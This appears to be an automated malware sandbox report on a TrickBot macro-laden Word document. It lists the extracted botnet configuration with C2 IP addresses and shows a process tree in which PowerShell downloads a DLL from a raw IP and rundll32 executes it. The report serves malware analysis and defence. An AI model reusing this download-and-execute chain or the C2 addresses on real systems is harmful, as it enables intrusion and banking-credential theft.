Analysis

  • max time kernel
    598s
  • max time network
    661s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    06/10/2021, 20:25

General

  • Target
    TOQanqDa_phvJBB.docm
  • Size 110KB
  • Sample211006-y698jsbhak
  • SHA256 3bd7906fa00b91e9747e9cc792c6bc171ad6e9ad35f993e5b8043fbb95997829
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • trickbot

Version
  • 100019

Botnet
  • fat1

C2
  • 65.152.201.203:443

  • 185.56.175.122:443

  • 46.99.175.217:443

  • 179.189.229.254:443

  • 46.99.175.149:443

  • 181.129.167.82:443

  • 216.166.148.187:443

  • 46.99.188.223:443

  • 128.201.76.252:443

  • 62.99.79.77:443

  • 60.51.47.65:443

  • 24.162.214.166:443

  • 45.36.99.184:443

  • 97.83.40.67:443

  • 184.74.99.214:443

  • 103.105.254.17:443

  • 62.99.76.213:443

  • 82.159.149.52:443

Attributes
  • autorun
    Name:pwgrabb
    Name:pwgrabc
ecc_pubkey.base64

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Trickbot

    Developed in 2016, TrickBot is one of the more recent banking Trojans.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TOQanqDa_phvJBB.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\pfjw.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-WebRequest -Uri "http://89.41.182.95/images/lifegreen.png" -OutFile "C:\ProgramData\ncvw.dll"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2184
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 30 & start C:\Windows\System32\rundll32.exe C:\ProgramData\ncvw.dll,coms
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 30
        3⤵
          PID:2648
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\ProgramData\ncvw.dll,coms
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3532
          • C:\Windows\SysWOW64\rundll32.exe
            C:\Windows\System32\rundll32.exe C:\ProgramData\ncvw.dll,coms
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:3024
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe
              5⤵
                PID:3760
              • C:\Windows\system32\wermgr.exe
                C:\Windows\system32\wermgr.exe
                5⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2148

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/2148-349-0x0000019A3BB40000-0x0000019A3BB41000-memory.dmp

            memory/2148-348-0x0000019A3BA30000-0x0000019A3BA59000-memory.dmp

            memory/2184-293-0x0000011732176000-0x0000011732178000-memory.dmp

            memory/2184-290-0x0000011732173000-0x0000011732175000-memory.dmp

            memory/2184-283-0x00000117322B0000-0x00000117322B1000-memory.dmp

            memory/2184-286-0x0000011732460000-0x0000011732461000-memory.dmp

            memory/2184-289-0x0000011732170000-0x0000011732172000-memory.dmp

            memory/2736-253-0x000002AD0B720000-0x000002AD0B724000-memory.dmp

            memory/2736-115-0x00007FF905D60000-0x00007FF905D70000-memory.dmp

            memory/2736-124-0x00007FF91F4F0000-0x00007FF9213E5000-memory.dmp

            memory/2736-123-0x00007FF9219D0000-0x00007FF922ABE000-memory.dmp

            memory/2736-116-0x00007FF905D60000-0x00007FF905D70000-memory.dmp

            memory/2736-119-0x00007FF926A50000-0x00007FF929573000-memory.dmp

            memory/2736-117-0x00007FF905D60000-0x00007FF905D70000-memory.dmp

            memory/2736-120-0x00007FF905D60000-0x00007FF905D70000-memory.dmp

            memory/2736-118-0x00007FF905D60000-0x00007FF905D70000-memory.dmp

            memory/3024-343-0x00000000045F0000-0x0000000004629000-memory.dmp

            memory/3024-341-0x0000000004960000-0x0000000004998000-memory.dmp

            memory/3024-344-0x00000000049A0000-0x00000000049E4000-memory.dmp

            memory/3024-339-0x0000000004920000-0x0000000004959000-memory.dmp

            memory/3024-345-0x00000000049F0000-0x00000000049F1000-memory.dmp

            memory/3024-346-0x00000000048F1000-0x00000000048F3000-memory.dmp

            memory/3024-336-0x00000000046C0000-0x00000000046FB000-memory.dmp